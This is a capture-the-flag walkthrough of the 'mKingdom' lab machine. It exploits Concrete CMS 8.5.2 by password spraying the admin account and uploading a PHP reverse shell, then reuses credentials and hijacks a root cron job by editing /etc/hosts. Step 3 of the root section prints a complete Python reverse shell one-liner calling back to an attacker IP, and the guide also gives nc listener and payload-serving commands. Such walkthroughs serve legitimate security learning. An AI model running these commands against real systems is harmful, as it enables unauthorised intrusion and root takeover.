Machine name	OS	IP	Difficulty
mKingdom	Linux	10.10.250.46	Easy

User

1. Check if the host is responding

---

First, let's verify that we can reach the host using a simple ping command:

└─# ping 10.10.250.46        
PING 10.10.250.46 (10.10.250.46) 56(84) bytes of data.
64 bytes from 10.10.250.46: icmp_seq=1 ttl=61 time=566 ms
64 bytes from 10.10.250.46: icmp_seq=2 ttl=61 time=559 ms

2. Check the running services

---

Let's check all running services and their versions using the nmap command:

└─# nmap -sV -sC 10.10.250.46 -Pn  
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.250.46
Host is up (0.56s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.91 seconds

• -sV - to get services with their versions.
• -sC - to use default scripts.
• -Pn - to skip the ping (as we already checked it in the first step).

The output shows that there are 1 running services with opened ports:

• Port 85 - http, Apache httpd version 2.4.7.

The operating system of the machine is probably Linux (based on the Apache service; we will verify this later).

3. Examine the web application

---

└─# whatweb http://10.10.250.46:85             
http://10.10.250.46:85 [200 OK] Apache[2.4.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.250.46], Title[0H N0! PWN3D 4G4IN]

The main page does not display any interesting information:

Let's try to enumerate the paths using Feroxbuster:

| NOTE: There is no need to enumerate the vhosts, as all requests are redirected to this page (considering that we accessed the page by entering the IP address, not the hostname).

It reveals that there is an endpoint at http://10.10.250.46:85/app/ with a single button, which redirects to the endpoint http://10.10.250.46:85/app/castle/:

Based on Wappalyzer, the web application is running Concrete CMS version 8.5.2 (this version is quite old, from October 2, 2019 - source).

| NOTE: You can verify this by running cmseek:

4. Examine Concrete CMS

---

This version of Concrete CMS is vulnerable to Remote Code Execution (RCE), which is likely what we are targeting - https://vulners.com/hackerone/H1:768322. To exploit this vulnerability, we need to log in to the administration. The link to the login page is at the bottom of the page:

However, we need to find the username and password.

By exploring the application, we find a blog with a single post made by the user admin:

This suggests that there is an admin user in the administration. Let's attempt password spraying.

5. Password spraying on user admin

---

Let's create a wordlist to find a few common passwords:

admin
root
password
pass
administrator

Run the password spray using Burp Suite Intruder:

The correct password for the username admin is password.

6. Exploit RCE

---

Now that we have access to the administration, we can attempt to exploit the RCE.

• Enable php extensions by navigating to System & Settings -> Files -> Allowed File Types -> Add Extension php -> Save:
• Now, we can attempt to upload a malicious .php file:

Upload the .php file and click Close (as soon as the button changes from Cancel to Close):

• After a few seconds, you should see the following dialog:

Click on the URL to File link to access the .php file.

| NOTE: Don’t forget to start a listener on your machine with nc -nvlp 8888, for example. | NOTE 2: I prefer to use the PHP reverse shell from this github. You need to modify the IP address and port at the beginning of the file, where the variables are declared.

You should then see that the connection has been established:

7. Make better shell

---

By calling:

• python3 -c 'import pty;pty.spawn("/bin/bash")'
• CTRL + Z
• stty raw -echo; fg
• export TERM=xterm

We now have a fully interactive shell.

8. Horizontal escalation

---

Since we are the www-data user, we need to find a way to escalate to another user. There are two users, based on the home directories:

Let's check the source code. In the config folder /var/www/html/app/castle/application/config, there is a file called database.php where we can find the database password:

This password also works for the toad user, great!

But we don't have a flag, yet.

9. Put some useful tools on the server into the /tmp folder

---

• linenum - LINENUM - used for local information enumeration.
• linpeas - LINPEAS - used for finding ways to escalate the privileges.
• pspy - PSPY - used for snoop on processes.

| NOTE: We can start an HTTP server on our local computer by running python3 -m http.server 18000 and download the file using curl http://<ip>:18000/<tool> -o <tool>.

10. linPEAS output

---

By running linPEAS, we find an interesting detail: there is an environment variable called PWD_token encoded in base64:

Decoding it reveals password ikaTeNTANtES.

| NOTE: You can decode it using the command echo "aWthVGVOVEFOdEVTCg==" | base64 -d or by using CyberChef.

And this password works for the second user, marion. Great!

11. User flag

---

The user flag is in /home/mario/user.txt.

Root

1. linPEAS output under mario account

---

Running linPEAS reveals two interesting findings:

• We have write permissions to /etc/hosts, which is typically writable only by root:
• We have sudo permissions for /usr/bin/id, which displays the user and group on which the command was executed.

Since there is no way to escalate privileges by running sudo /usr/bin/id, we can disregard this.

The /etc/hosts file is used for hostname resolution. We can redirect traffic to our computer if something is using the hostname for communication.

2. Check running processes using pspy

---

By running pspy, we can observe an interesting process (leave pspy running for a few minutes):

| NOTE: UID=0 indicates that the cron job is running with root privileges.

There is a cron job that downloads a shell script from mkingdom.thm and executes it. We can exploit this by changing the DNS resolution of mkingdom.thm to our IP address, causing the cron job to download and execute the script from our machine.

3. Exploit the cron job

---

First, we need to modify the /etc/hosts file to look like this:

127.0.0.1       localhost
10.4.92.58      mkingdom.thm
127.0.0.1       backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

| NOTE: Remember to remove 127.0.0.1 mkingdom.thm.

Then, create the necessary folder structure on your server and place your reverse shell script inside it:

mkdir -p app/castle/application
echo '#!/bin/bash

python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.92.58",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")''' > app/castle/application/counter.sh

Run the HTTP server from the directory where you created this folder structure:

python3 -m http.server 85

| NOTE: Don’t forget to start the listener on port 8889 with nc -nvlp 8889.

After a few seconds, you should receive a connection on the HTTP server, and the reverse shell should connect to the listener:

And you are now root, since the cron job runs with root privileges!

4. Root flag

---

The root flag is in /root/root.txt.